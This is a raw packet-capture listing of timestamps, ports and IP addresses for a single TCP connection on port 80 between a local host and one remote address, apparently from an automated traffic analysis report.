Nov 24, 2022 16:57:36.940975904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.940977097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.940995932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941004992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941263914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941287994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941310883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941328049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941334963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941344976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941359043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941382885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941404104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941427946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941440105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941440105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941451073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941469908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941474915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941498995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941523075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941545963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941549063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941566944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941570044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941595078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941617012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941641092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941643000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941664934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941679001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941715956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941819906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941842079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941864967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941886902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941890001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941907883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941930056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941941023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941953897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941976070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.941977978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.941998005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942019939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942040920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942045927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942061901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942064047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942085028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942109108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942130089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942131996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942148924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942152977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942179918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942198992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942203045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942228079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942249060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942270041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942274094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942292929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942292929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942317963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942338943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942338943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942363024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942385912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942408085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942409992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942429066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942430973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942466021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942487001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942490101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942511082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942534924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942560911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942578077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942776918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942800999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942823887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942846060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942867994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942872047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942907095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942913055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942931890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942955017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.942965984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.942980051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943003893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943025112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943028927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943044901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943048954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943073988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943097115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943100929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943121910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943144083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943166971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943173885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943197966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943216085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943222046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943238020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943248034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943270922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943291903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943293095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943315029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943337917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943361044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943361044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943380117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943386078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943411112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943432093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943454981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943459988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943478107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943480015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943500042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943522930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943542957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943559885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943769932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943794012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943818092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943842888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943846941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943867922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943893909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943903923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943917990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943943024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943948984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.943969011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.943994045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944019079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944045067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944053888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944053888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944082022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944111109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944124937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944139004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944156885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944165945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944192886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944219112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944236040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944245100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944268942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944269896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944298983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944324017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944339991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944350004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944359064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944377899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944402933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944428921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944447041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944456100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944470882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944483995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944510937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944530964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944536924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944565058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944582939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944591999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944638968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944845915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944874048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944900036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944926023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944928885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.944952011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944978952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.944994926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945005894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945025921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945034981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945060968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945086002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945110083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945113897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945142031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945146084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945168018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945194960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945209980 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945220947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945234060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945247889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945274115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945297956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945298910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945342064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945368052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945389032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945395947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945408106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945425034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945452929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945472002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945481062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945508003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945533991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945549011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945560932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945576906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945621967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945652962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945678949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945683002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945707083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945734024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945753098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945760012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945768118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945787907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945815086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945831060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945842028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945869923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945897102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945916891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945924044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945935965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.945951939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.945980072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946006060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946023941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946034908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946042061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946063042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946089983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946106911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946120977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946149111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946175098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946194887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946202040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946211100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946229935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946258068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946285009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946300030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946311951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946327925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946341038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946368933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946393967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946413994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946420908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946434021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946450949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946479082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946496010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946506023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946532965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946558952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946574926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946585894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946594000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946614981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946640968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946656942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946670055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946696997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946722031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946738958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946748972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946758986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946777105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946804047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946829081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946849108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946856022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946867943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946897984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946923971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946940899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.946949959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946974039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.946996927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947021961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947026968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947048903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947057962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947074890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947103024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947118998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947145939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947165966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947232962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947251081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947268963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947285891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947293043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947304010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947320938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947323084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947340965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947351933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947359085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947379112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947387934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947396040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947415113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947423935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947432995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947451115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947462082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947469950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947489023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947494984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947506905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947525978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947530985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947544098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947561979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947566986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947580099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947597027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947613955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947623968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947639942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947639942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947659969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947678089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947695971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947700024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.947714090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.947720051 CET	49713	80	192.168.2.3	66.235.200.147
